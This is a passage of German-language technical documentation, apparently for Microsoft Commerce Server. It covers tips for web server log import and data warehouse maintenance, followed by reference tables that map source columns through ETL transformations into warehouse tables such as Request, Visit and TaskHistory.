    Eine höhere Einstellung als 10 ist nicht empfehlenswert, da dann unter Umständen mehr als 1 GB physischer Speicher belegt wird. Wenn Sie den Wert MaxHitPerBuffer höher als 10 setzen, sollten Sie ebenfalls den 3-GB-Schalter in der Datei Boot.ini aktivieren und die für 3 GB aktivierten ausführbaren Dateien zum Protokollimport verwenden. Weitere Informationen finden Sie unter Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site.

    Um den optimalen Wert für MaxHitPerBuffer in Ihrem Szenario zu bestimmen, überwachen Sie die Speicherauslastung (private und virtuelle Bytes).

  • Um einen Webserverprotokollimport von einem Cluster für den Netzwerklastenausgleich durchzuführen, richten Sie die Servertopologie ein, durch die Ihre Clusterkonfiguration für Commerce Server beschrieben wird, und führen Sie dann nur einen DTS-Webserverprotokollimport-Task aus.

    In diesem Szenario sollen Protokolldateien von http://<Site> in nur einem Bericht in Commerce Server erscheinen. Die Webserver-Protokolldateien befinden sich jedoch in zwei oder mehr Verzeichnissen, z. B. in \\server1\d$\iislogfiles\w3svc4 und \\server2\d$\iislogfiles\w3svc4. Zur Einrichtung der Servertopologie können Sie den Protokolldateien in jedem Verzeichnis denselben Namen zuweisen, sofern sich diese im richtigen Ordner des jeweiligen Webservers befinden.

    Eine Anleitung zum Festlegen der Servertopologie finden Sie unter Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site und Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung.

    Nachdem Sie eine andere Anwendung und andere Webserver eingerichtet haben, konfigurieren Sie die Eigenschaften im DTS-Webserverprotokollimport-Task, sodass jeder der neu erstellten Webserver auf die Protokolldateien verweist. Die Protokolldateien müssen jeweils in separaten Ordnern (ein Ordner für jeden Server) abgelegt werden. (Sie können diese Ordner beim Einrichten der Server erstellen.) Eine entsprechende Anleitung finden Sie unter Konfigurieren des DTS-Webserverprotokollimport-Tasks.

  • Wenn Sie eine neue oder aktualisierte Katalog- in Ihrer Website bereitstellen und anschließend am selben Tag löschen, können dadurch u. U. nicht alle Daten vollständig in das Data Warehouse importiert werden.

    Beispiel: Sie fügen das Produkt "Grünes Buch" zu Ihrem Katalog hinzu. Dieses Produkt erhält die Produkt-ID "X" in der Kataloglaufzeitdatenbank. Anschließend wird der aktualisierte Katalog in Ihrer Website veröffentlicht. Ein Benutzer, der in Ihrer Website einkauft, legt ein "Grünes Buch" in seinen Warenkorb. Anschließend wird das Commerce-Ereignis Zum Warenkorb hinzufügen in der IIS-Webprotokolldatei erfasst. Einer der Werte im Commerce-Ereignis stellt eine Produkt-ID ("X") dar. Die Produkt-ID verweist auf eine Zeile in einer Tabelle in der Kataloglaufzeitdatenbank.

    Normalerweise wird durch den Data Warehouse-Importvorgang diese Produkt-ID in eine vollständige Beschreibung aufgelöst: das Commerce-Ereignis, das die Produkt-ID "X" hatte, wird als fremder Schlüssel in einer Katalogtabelle aufgelöst. Wenn Sie diesen Artikel jedoch aus der Katalogdatenbank löschen, bevor er vom Data Warehouse importiert wird, kann der Webserverprotokollimport-Task die Produkt-ID "X" in der Webprotokolldatei nicht auflösen.

    Diese "untergeordneten Daten" in der Data Warehouse-Datenbank, die von den für ihre Bedeutung relevanten "übergeordneten Daten" getrennt sind, werden als "nicht zugeordnete Daten" bezeichnet. Informationen zum Löschen nicht zugeordneter Daten finden Sie unter Löschen nicht zugeordneter Daten aus dem Data Warehouse.

  • Überprüfen Sie das Anwendungsereignisprotokoll nach dem Datenimport.
Prüfen Sie nach dem Import von Daten in das Data Warehouse das Anwendungsereignisprotokoll. Es dient dazu, den erfolgreichen Import festzustellen oder Fehler zu erkennen, die während des Imports aufgetreten sind.


Tipps zur Wartung

  • Defragmentieren Sie wöchentlich die Indizes für alle Tabellen, die zu mehr als 30 % fragmentiert sind.

    Durch den DTS-Webserverprotokollimport-Task werden Indizes fragmentiert. Wenn Ihre Indizes zu mehr als 30 % fragmentiert sind, nimmt die Ausführung des DTS-Webserverprotokollimport-Tasks mehr Zeit in Anspruch.

    Um den aktuellen Fragmentierungswert zu bestimmen und einen Index zu defragmentieren, verwenden Sie zwei DBCC-Anweisungen (SQL Server Database Console): DBCC SHOWCONTIG und DBCC INDEXDEFRAG. Eine entsprechende Anleitung finden Sie in der Onlinedokumentation für SQL Server.

  • Löschen Sie jeweils abwechselnd zuerst die detaillierten Daten der Webprotokolldateien und anschließend alle zusammengefassten Daten aus dem Data Warehouse.

    Im Data Warehouse können Detaildaten nicht unbegrenzt verwaltet werden, da irgendwann einmal die maximale Aufnahmekapazität der Datenbank erreicht ist.

    Es ist daher wichtig, veraltete Protokolldateidaten in regelmäßigen Abständen zu löschen. Dadurch wird vermieden, dass es zu einem Leistungsabfall und einer Verringerung der Speicherkapazität im Data Warehouse kommt. Falls Sie Verlaufsdaten aus Ihrer Commerce Server-Datenbank speichern müssen, können Sie die Daten zur späteren Referenz in einem geeigneten Format extrahieren und speichern.

  • Löschen Sie Dimensionsdaten in regelmäßigen Abständen.

    Durch den DTS-Datenlöschungstask werden Faktdaten, jedoch keine Dimensionsdaten gelöscht. Dimensionsdaten müssen im Rahmen der Programmierung gelöscht werden.

    Da das Löschen von Dimensionsdaten ein langsamer Vorgang ist, sollten Sie diesen Schritt nur bei Bedarf und in unregelmäßigen Abständen, beispielsweise einmal pro Jahr, ausführen.

    Informationen zum Löschen von Dimensionsdaten finden Sie unter Ausführen des DTS-Datenlöschungstasks.

  • Vor der Ausführung des DTS-Datenlöschungstasks sollten Sie sich vergewissern, dass die Größe der Datenbank "tempdb" die Größe der zu löschenden Datenbank übersteigt.

    Wenn die zu löschende Datenbank beispielsweise 15 GB groß ist, muss die Datenbank tempdb von SQL Server einen Umfang von mindestens 15 GB haben. Anderenfalls kann der Datenlöschungstask nicht ausgeführt werden.

Siehe auch

Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks

Mehrere Sites und ein Data Warehouse

Sichern des Data Warehouse

Sichern von Berichten

Data Warehouse-Import-Assistent


Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks

In diesem Abschnitt finden Sie Referenzinformationen zum ETL-Prozess (Extrahieren, Transformieren und Laden) für die Commerce Server-DTS-Tasks. Der ETL-Prozess beginnt mit dem Extrahieren von Daten aus bestimmten Datenquellen. Diese Daten werden dann mithilfe von Regeln, Algorithmen, Verkettungen oder einer beliebigen Anzahl von Konvertierungstypen in einen bestimmten Zustand transformiert. In diesem Zustand werden die transformierten Daten anschließend in das Data Warehouse geladen, wo sie zur Verwendung in Analysen und in Berichten abrufbar sind.

In der folgenden Tabelle sind die Transformationstypen beschrieben, die von den DTS-Tasks zur Umwandlung der Daten verwendet werden.

Transformation | Beschreibung
Spalte kopieren | Kopiert Daten direkt aus einer Quelle in Zielspalten, ohne dass andere Transformationen auf die Daten angewendet werden.
Zelle kopieren | Kopiert Daten direkt aus einer Quelle in Zielzellen, ohne dass andere Transformationen auf die Daten angewendet werden.
Verkettung | Verknüpft Zeichenfolgen aus mehreren Quellspalten nacheinander mit einer Zeichenfolge, die eine durch Semikolons getrennte Liste von Zeichenfolgen enthält und kopiert das Ergebnis in die Zielspalte.
Generiert | Verwenden Sie diese Transformation, wenn der DTS-Task neue Daten erstellt oder Daten aus der Quelle zusammenfasst.
ActiveX-Skript | Erstellt benutzerdefinierte Transformationen. Beachten Sie, dass ein Microsoft ActiveX-Skript die Ausführungsgeschwindigkeit eines DTS-Pakets beeinträchtigen kann, da diese Transformation zeilenweise erfolgt.
DatumUhrzeit-Zeihenfolge | Konvertiert ein Datum oder eine Uhrzeit in einer Quellspalte in ein anderes Format in der Zielspalte.
Kleinbuchstaben-Zeichenfolge | Konvertiert eine Quellspalte vollständig in Kleinbuchstaben und bei Bedarf in den Zieldatentyp.
Großbuchstaben-Zeichenfolge | Konvertiert eine Quellspalte vollständig in Großbuchstaben und bei Bedarf in den Zieldatentyp.
Mitte von Zeichenfolge | Extrahiert einen Teil einer Zeichenfolge aus der Quellspalte, transformiert ihn und kopiert das Ergebnis in die Zielspalte.
Zeichenfolge kürzen | Entfernt vorangestellte, nachgestellte und eingebettete Leerzeichen aus einer Zeichenfolge in der Quellspalte und kopiert das Ergebnis in die Zielspalte.
Datei lesen | Öffnet den Inhalt einer Datei, deren Name in einer Quellspalte angegeben ist und kopiert diesen Inhalt in eine Zielspalte.
Datei schreiben | Kopiert den Inhalt einer Quellspalte (Datenspalte) in eine Datei, deren Pfad in einer zweiten Quellspalte angegeben ist (Dateinamenspalte).

Die meisten Tabellen im Data Warehouse enthalten Spalten mit der Bezeichnung TabelleID und TabelleInternalFlag, wobei Tabelle für den Namen der Data Warehouse-Tabelle steht, in der sich die Spalte befindet. Diese Spalten sind in den Tabellen für die im Folgenden aufgeführten Tasks nicht aufgeführt, da sie nicht durch die DTS-Tasks, sondern durch den OLE DB-Provider von Commerce Server geladen werden. Die Spalte TabelleID enthält eine eindeutige Binärkennung (6 Byte). Die Spalte TabelleInternalFlag ist nur für interne Zwecke bestimmt und wird vom OLE DB-Provider für Commerce Server verwendet.

Die meisten Data Warehouse-Tabellen enthalten ebenfalls eine Spalte mit der Bezeichnung Sitename. Diese Spalte wird, wie auch die Spalten TabelleID und TabelleInternalFlag, nicht in den Tabellen der folgenden Abschnitte aufgeführt, da der Sitename für alle DTS-Tasks stets aus derselben Quelle extrahiert wird.

Dieser Abschnitt beinhaltet folgende Themen:

  • ETL-Prozess für den DTS-Konfigurationssynchronisations-Task
  • ETL-Prozess für den DTS-Webserverprotokollimport-Task
  • ETL-Prozess für den DTS-Transaktionsdatenimport-Task
  • ETL-Prozess für den DTS-Produktkatalogimport-Task
  • ETL-Prozess für den DTS-Datenlöschungstask
  • ETL-Prozess für den DTS-IP-Auflösungstask
  • ETL-Prozess für den DTS-Berichtsvorbereitungstask


ETL-Prozess für den DTS-Konfigurationssynchronisations-Task

Durch den DTS-Konfigurationssynchronisations-Task werden Daten zwischen der Verwaltungsdatenbank und dem Data Warehouse abgeglichen. Insbesondere werden durch diesen Task Aktualisierungen synchronisiert, die an der Topologie der Site, an Abfragezeichenfolgen, Suchmaschinen bzw. Berichtsdefinitionen vorgenommen wurden. Der DTS-Konfigurationssynchronisations-Task sollte vor allen anderen Import- oder Löschungstasks ausgeführt werden.

In der folgenden Tabelle sind die aus den Quelltabellen der Verwaltungsdatenbank extrahierten Spalten, die durchgeführten Transformationen sowie die Tabellen aufgeführt, in denen die Daten im Data Warehouse gespeichert werden.

Synchronisierung der Sitetopologie

Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "Site" des Data Warehouse
WhenImportIsComplete
 Generiert

Wert von s_Value plus 1 wird geladen.

EndImportAction

N/A
 Generiert

Auf null (0) gesetzt.

IsAdjustTimeStamps

ExcludeCrawlers
 Spalte kopieren
IsExcludeSpiders

i_QSSaveWithUri
 Generiert

Wert von s_Value plus 1 wird geladen.

IsSeparateUriAndQueryString

UseCookiesForInferences
 Zelle kopieren
IsUseCookiesForInferences

MultipleUsersUseTheSameName
 Zelle kopieren
IsUseUsernameForInferences

UseUPMCookiesForInferences
 Zelle kopieren
IsUseUPMCookiesForInferences

s_InfNames
 Zelle kopieren
CookieIdentifiers

IfOverlapDetected
 Generiert

Wert von s_Value plus 1 wird geladen.

OverlapAction

MinutesRecordsOverlap
 Zelle kopieren
OverlapMins

s__Name from Sites Table in MSCS_Admin database
 Zelle kopieren
SiteName

TimeZone
 Zelle kopieren
TimeZone

IdleTmeBeforeVisitEnds
 Zelle kopieren
VisitTimeOut

RetryCount
 Zelle kopieren
RetryCount

RetryExhaustAction
 Zelle kopieren
RetryExhaustAction

g_nStartDayOfWeek
 Zelle kopieren

Standardwert ist null (0).

WeekStartDay
Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "ServerGroup" des Data Warehouse
s_WebServerName
 Zelle kopieren
VarList

s_LogFileDirectory
 Zelle kopieren
LogFileDir

s_LogType
 Zelle kopieren
LogFormatID

s_WebServerMachine and s_WebServerName
 Verkettung

"LDS For" s_WebServerMachine/ s_WebServerName.

Nur verwendet, wenn varList leer ist.

ServerGroupName

N/A
 Generiert

Wert von 25 (GMT) wird geladen.

TimeZone

s_LogFileCodePage
 Zelle kopieren
LogFileCodePage

s_URLEncodingCodePage
 Zelle kopieren
URLEncodingCodePage
Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "VirtualServer" des Data Warehouse
s_DirectoryIndexFiles
 Zelle kopieren
DirIndexes

LocalDomainDnsServer
 Zelle kopieren

Wenn Zelle leer ist, "Unbekannt" laden.

LocalDomain

s_WebServerMachine and  s_WebServerName
 Generiert

s_WebServerName auf s_WebServerMachine

VserverName

N/A
 Generiert

Wert 1 wird geladen.

VserverType
Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "ServerBinding" des Data Warehouse
s_ServerBindings
 Mitte von Zeichenfolge
HostHeaderName

s_ServerBindings
 Mitte von Zeichenfolge
IPAddress

N/A
 Generiert

Wenn die Bindung sicher ist, wird 443 geladen. Ist sie nicht sicher, wird 80 geladen.

IPPort
Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "SiteURL" des Data Warehouse
s_ExFileExpressions and s_ExFileTypes
 Verkettung

Durch Sternchen (*) getrennte Liste von Ausdrücken und Typen.

ExcludeCriteria

s_ExHosts
 Zelle kopieren
ExcludeHosts

TruncateTopDir
 Zelle kopieren
IsChopTopLevelDir

s_NonSecureHostname and s_VirtualRootName
 Verkettung

http://" & s_NonSecureHostname & "/" & s_VirtualRootName

URL

s_NonSecureHostname and s_VirtualRootName
 Verkettung

http://" & s_NonSecureHostname & "/" & s_VirtualRootName

URLExt

Aktualisierungen von Abfragezeichenfolgen

Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "URIQuery" des Data Warehouse
s_QSName
 Zelle kopieren
QueryString

N/A
 Generiert
QueryStringKey
Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "NameZeichenfolgeEinfacherWert" des Data Warehouse
s_QSName
 Zelle kopieren
QstringName
Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "LinkSVQStringName" des Data Warehouse
s_QSName
 Zelle kopieren

Einen LinkSVQStringName für jede in s_OSApplicationList aufgelistete SiteURLID.

LinkSVQStringName
Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "MVQStringName" des Data Warehouse
s_QSName
 Zelle kopieren
QstringName

Aktualisierungen von Suchmaschinen

Name der Quelleigenschaft aus der Tabelle "ResourceProps" der Verwaltungsdatenbank Transformation Zielspalten aus der Tabelle "Crawler " des Data Warehouse
Crawler.ini
 Datei lesen
CrawlerString

i_SiteID from Sites Table in MSCS_Admin database
 Zelle kopieren
SiteID

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Erstellen eines Skripts für den DTS-Konfigurationssynchronisations-Task

Workflow zum Ausführen von DTS-Tasks


ETL-Prozess für den DTS-Webserverprotokollimport-Task

Durch den DTS-Webserverprotokollimport-Task werden Webprotokolldaten, die durch Ihre Website generiert werden, in das Data Warehouse importiert.

Welche Protokolldateidaten beim DTS-Webserverprotokollimport-Task importiert werden, hängt von der Konfiguration der Anwendung und Webserver ab. Da Protokolldateien Daten zu mehreren Sites enthalten können, müssen Sie sie u. U. nach Sites oder nach virtuellen Servern getrennt analysieren. Daher muss jeder Zugriff in der Protokolldatei einem bestimmten virtuellen Server zugeordnet werden. Der Webserverprotokollimport-Task lässt sich so konfigurieren, dass die entsprechenden virtuellen Server herausgefiltert werden. Ein virtueller Server wird durch drei Eigenschaften bestimmt: die Anschlussnummer, die IP-Adresse und den Schlüssel des virtuellen Servers. Da sich die Nummer des sicheren Anschlusses (Anschluss 443) und des ungesicherten Anschlusses (Anschluss 80) beide auf den Schlüssel des virtuellen Servers auswirken, werden sie als zwei unterschiedliche virtuelle Server erkannt. Deshalb müssen die Webserverprotokoll-Importausschlüsse entsprechend festgelegt werden, damit beide virtuellen Server bei einem Webprotokollimport berücksichtigt werden. Weitere Informationen zum Filtern von Protokolldateien beim Protokollimport finden Sie unter Festlegen der Ausschlüsse für Webprotokolldateien.

Hinweise

  • Nicht alle Zeilen der Protokolldatei werden in die Tabelle Request importiert, denn viele Zeilen gehen auf Zugriffe, nicht auf wirkliche Anforderungen zurück. In die Tabelle Request werden ausschließlich Anforderungen importiert. Mithilfe verschiedener Filter werden in der Protokolldatei Zugriffe von Anforderungen unterschieden. Weitere Informationen zum Auswählen von Daten, die vom Webserverprotokollimport in die Tabelle Request ausgeschlossen werden sollen, finden Sie unter Festlegen der Ausschlüsse für Webprotokolldateien.
  • Die Einstellung für die Zeitüberlappung für den DTS-Webserverprotokollimport-Task wirkt sich darauf aus, welche Anforderungen am Anfang und am Ende einer Protokolldatei in die Tabelle Request importiert werden. In der Standardeinstellung werden beim DTS-Webserverprotokollimport-Task alle Anforderungen verworfen, die eine andere Protokolldatei um 30 Minuten überlappen. Informationen zum Ändern der Einstellungen für die Zeitüberlappung finden Sie unter Festlegen der Eigenschaften "Überlappen" und "Drehung".

In der folgenden Tabelle sind die aus der W3C-Protokolldatei extrahierten Spalten, die vorgenommenen Transformationen sowie die Tabellen aufgeführt, in denen die Daten im Data Warehouse gespeichert werden.

Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "Request" des Data Warehouse
N/A
 Generiert

Wird durch die Protokollimportanwendung generiert. Erhöht für jede Anforderungszeile einer Protokolldatei, die gespeichert wird. Dies ist über verschiedene Importvorgänge hinweg eindeutig.

RequestNum

cs-uri-query
 Spalte kopieren

Enthält die gesamte Abfragezeichenfolge aus der Protokolldatei.

QueryString

cs-uri-stem
 Spalte kopieren
Uri

cs-bytes
 Spalte kopieren

Bytes vom Client an den Server.

BytesReceived

sc-bytes
 Spalte kopieren

Bytes vom Server an den Client.

BytesSent

N/A
 Generiert

Diese Spalte wird innerhalb der Protokollimportanwendung als eindeutiger Bezeichner generiert.

VisitNum

date and time
 Verkettung

In Ortszeit konvertieren.

TimeStamp

N/A
 Generiert

Dies ist das Schlüsselelement der Klasse SiteURL. Der OLE DB Provider löst dies in der physischen Tabelle SiteURL in SiteURLID auf.

URL

N/A
 Generiert

Bestimmt, ob dieser Eintrag als Anforderung gilt (im Gegensatz zu einem Zugriff).

Dies kann auf False gesetzt werden, wenn der Zugriff gefiltert wird. Der häufigste gefilterte Zugriff betrifft die Anforderung eines Bildes, das mit einem Commerce-Ereignis verknüpft ist.

IsRequest

cs(Referer)
 Spalte kopieren
ReferrerURL

cs(Referer)
 Mitte von Zeichenfolge

Verwendet nur den Domänenteil des URIs.

ReferrerDomainName

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generiert

Der Benutzerschlüssel besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzerschlüssel verwendeten Elements. Was als Benutzerschlüssel verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserKey

sc-win32-status
 Spalte kopieren
Win32Status

sc-status
 Spalte kopieren
HttpStatus

N/A
 Generiert

Beim Protokollimport wird eine Protokollzeile einer konfigurierten Serverbindung zugeordnet (einschließlich Anschlussnummer (s-port) und IP-Adresse (s-ip)). Wenn die Serverbindung als sicher klassifiziert ist, wird für die Spalte True festgelegt. Weitere Informationen finden Sie unter Konfigurieren einer Anwendung.

IsSecure

cs-method
 Generiert

GET = 1, POST=2, HEAD=3

Method

time-taken
 Spalte kopieren
TimeTaken

N/A
 Generiert

Die erste innerhalb des Protokollimports erkannte Anforderung eines Besuchs lautet 1 und wird dann für jede nachfolgende Anforderung im Besuch erhöht.

RequestIndex

N/A
 Generiert

Wenn beim Protokollimport festgestellt wird, dass in dieser Zeile keine Commerce-Ereignisabfrage-Zeichenfolge vorhanden ist, wird hierfür False festgelegt.

HasCommerceEvent

N/A
 Generiert

Dies wird für jede Instanz eines Protokollimports erhöht.

TaskID

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die erste Ebene des URIs, wenn verfügbar.

Level1Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die zweite Ebene des URIs, wenn verfügbar.

Level2Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die dritte Ebene des URIs, wenn verfügbar.

Level3Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die vierte Ebene des URIs, wenn verfügbar.

Level4Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die fünfte Ebene des URIs, wenn verfügbar.

Level5Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die sechste Ebene des URIs, wenn verfügbar.

Level6Dir

cs(User-Agent)
 Spalte kopieren
UserAgentName

UPM Cookie Key
Or
cs(cookie)
Or
cs-ip + cs(User-Agent)
 Generiert

Die UserID besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzer-ID verwendeten Elements. Was als Benutzer-ID verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserID

cs-uri-query
 Spalte kopieren

MD4-Hash

QueryStringKey

N/A
 Generiert

Für Prüfpunktunterstützung verwendet.

SubTaskID

cs-uri-stem
 Spalte kopieren

MD4-Hash

UriKey

cs(Cookie)
 Mitte von Zeichenfolge

Nur das übereinstimmende Cookie wird extrahiert. Das Versandschema speichert diese Eigenschaft nicht physisch, obgleich das Schema logisch erweitert werden kann, um die Eigenschaft zu speichern.

Cookie

Schreiben in die Tabelle "Visit"

Ein Besuch beginnt, wenn der Verweiser sich nicht innerhalb der Site befindet. Wenn ein Besucher z. B. auf eine Site (<www.microsoft.com>) zugreift, dann darin auf einen Hyperlink klickt, über den er zu einer anderen Site (<www.msn.com>) gelangt, und anschließend zur ursprünglichen Site (<www.microsoft.com>) zurückkehrt, werden in der Tabelle Visit zwei einzelne Besuche erfasst. Die folgende Tabelle enthält ein Beispiel der Protokolldatei für diesen Besucher.

Zeit (in Minuten) | Benutzername | URI | Verweiser
0 | A | /default.asp | -
1 | A | /foo.asp | <http://www.microsoft.com/default.asp>
5 | A | /default.asp | <http://www.msn.com>

Beruhte die Definition eines Besuchs allein auf der Zeit, ergäbe dies nur einen Besuch. Das Data Warehouse erkennt jedoch dadurch, dass der Verweiser sich außerhalb der Site befindet ist, dass der Benutzer die Site verlassen hat und wieder zurückgekehrt ist. Anhand eines Teilstringvergleichs mit der Tabelle SiteURL wird ermittelt, ob der Verweiser ein interner Verweiser ist.

Hinweis

  • Bei einigen in der Tabelle Visit erfassten Besuche kann es sich um offene Besuche handeln. Weitere Informationen zum Ändern der Rotations- und Zeitüberlappungseinstellungen für die Protokolldateien finden Sie unter Festlegen der Eigenschaften "Überlappen" und "Drehung".
Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "Visit" des Data Warehouse
N/A
 Generiert

Diese Spalte wird innerhalb der Protokollimportanwendung als eindeutiger Bezeichner generiert.

Hierbei handelt es sich um einen Fremdschlüssel für die Tabelle Visit. Es handelt sich auch um einen Fremdschlüssel für die Tabelle VisitInfo. Die Tabelle VisitInfo wird allerdings erst eingefügt, wenn der Besuch des Benutzers abgeschlossen ist.

VisitNum

date and time
 Verkettung

Hierbei handelt es sich um den Timestamp der ersten Anforderung während des Besuchs. In Ortszeit konvertieren.

Timestamp

cs(Referer)
 Spalte kopieren

Enthält die Abfragezeichenfolge.

ReferrerURL

cs(Referer)
 Verwendet nur den Domänenteil des URIs.
ReferrerDomainName

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generiert

Der Benutzerschlüssel besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzerschlüssel verwendeten Elements. Was als Benutzerschlüssel verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserKey

UserDomainName

s-ip
 Spalte kopieren
IpAddress

N/A
Generiert

Dies wird für jede Instanz eines Protokollimports erhöht.

TaskID

time
 Mitte von Zeichenfolge
Hour

UPM Cookie Key
Or
Custom Cookie or IP Address + Browser Agent String
 Generiert

MD4-Hash

UserID

DateCreated

cs-username
 Spalte kopieren
UserName

N/A
 Generiert

Wenn beim Benutzer ein Cookie vorhanden ist, wird hierfür True festgelegt.

HasCookie

N/A
 Generiert

Für Prüfpunktunterstützung verwendet.

SubTaskID

cs(Cookie)
 Verwendet nur die übereinstimmenden Cookies. Diese Eigenschaft wird nicht physisch gespeichert. Eine Erweiterung durch die Benutzer zum Speichern der Eigenschaft ist möglich.
Cookie

Die Tabelle VisitInfo enthält abgeschlossene Benutzerbesuche. Diese Klasse wird beim Protokollimport geschrieben, wenn ein Besuch abgeschlossen wurde. Das ist dann der Fall, wenn ein externer Verweiser festgestellt wurde oder ein Besuchstimeout eingetreten ist.

Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "VisitInfo" des Data Warehouse
N/A
 Generiert
CountOfRequest

N/A
 Generiert
Duration

N/A
 Generiert
FirstTimeStamp

N/A
 Generiert
FirstHTimeStamp

N/A
 Generiert

Diese Spalte wird innerhalb der Protokollimportanwendung als eindeutiger Bezeichner generiert.

Hierbei handelt es sich um einen Fremdschlüssel für die Tabelle Visit. Es handelt sich auch um einen Fremdschlüssel für die Tabelle VisitInfo. Die Tabelle VisitInfo wird allerdings erst eingefügt, wenn der Besuch des Benutzers abgeschlossen ist.

VisitNum

N/A
 Generiert

Dies wird für jede Instanz eines Protokollimports erhöht.

TaskID

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generiert

Der Benutzerschlüssel besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzerschlüssel verwendeten Elements. Was als Benutzerschlüssel verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserKey

cs(User-Agent)
 Spalte kopieren
UserAgentName

FirstRequestNum

SecondRequestNum

LastRequestNum

FirstUriKey

SecondUriKey

LastUriKey

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generiert

Der Benutzerschlüssel besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzer-ID verwendeten Elements. Was als Benutzer-ID verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserID

cs(Referer)
 Generiert

Es wird nur der Domänenteil des URIs geladen.

ReferrerDomainName

N/A
 Generiert

Für Prüfpunktunterstützung verwendet.

Hierbei handelt es sich um einen Fremdschlüssel für die Tabelle LogImportSubTask.

SubTaskID
Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "TaskHistory" des Data Warehouse
N/A
 Generiert

Wird für jede Instanz eines DTS-Importtasks erhöht.

TaskID

N/A
 Generiert

Gibt an, welcher Importtask verwendet wurde.
1 = Webserverprotokoll-Import
2 = Profildatenimport
3 = Kampagnendatenimport
4 = Produktkatalogimport
5 = Transaktionsprotokollimport
8 = Konfigurationssynchronisierung
9 = Datenlöschung
10 = IP-Auflösung
11 = Berichtsvorbereitung
20 = Speichern von Berichten im Cache

OperationID

N/A
 Generiert

Ergebnis des Imports.
1 = Import erfolgreich
2 = Import mit Fehlern abgeschlossen
3 = Import unvollständig
4 = Import abgebrochen

Status

N/A
 Generiert

Physische Startzeit des Imports.

StartTime

N/A
 Generiert

Physische Endzeit des Imports.

EndTime

N/A
 Generiert

Beschreibung des Importtasks.

Description

N/A
 Generiert

Zur Prüfpunktunterstützung für den DTS-Webprotokollimport-Task verwendet.

SubTaskID

N/A
 Generiert

Zum Neustart für den DTS-Webprotokollimport-Task verwendet.

NumOfTries

Die LogImportSubTask-Klasse wird intern im Rahmen des Webprotokollimports verwendet, um Prüfpunkte für die Neustartfunktion zu verfolgen.

Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "LogImportSubTask" des Data Warehouse
N/A
 Generiert

Für Prüfpunktunterstützung verwendet.

SubTaskID

N/A
 Generiert

Für jede Instanz eines Protokollimports erhöht.

TaskID

N/A
 Generiert

Fremdschlüssel für die Sitetabelle.

SiteID

N/A
 Generiert

Servergruppenname, für den der Import ausgeführt wird. Für jeden virtuellen Server ist eine eindeutige ServerGroup vorhanden (bei IIS eine eindeutige Protokolldatei).

ServerGroup

N/A
 Generiert

Ein Protokolldateiname innerhalb des Imports.

FileName

N/A
 Generiert

Der Offset innerhalb der Protokolldatei, an dem der Prüfpunkt auftrat.

ByteOffsetHigh

N/A
 Generiert

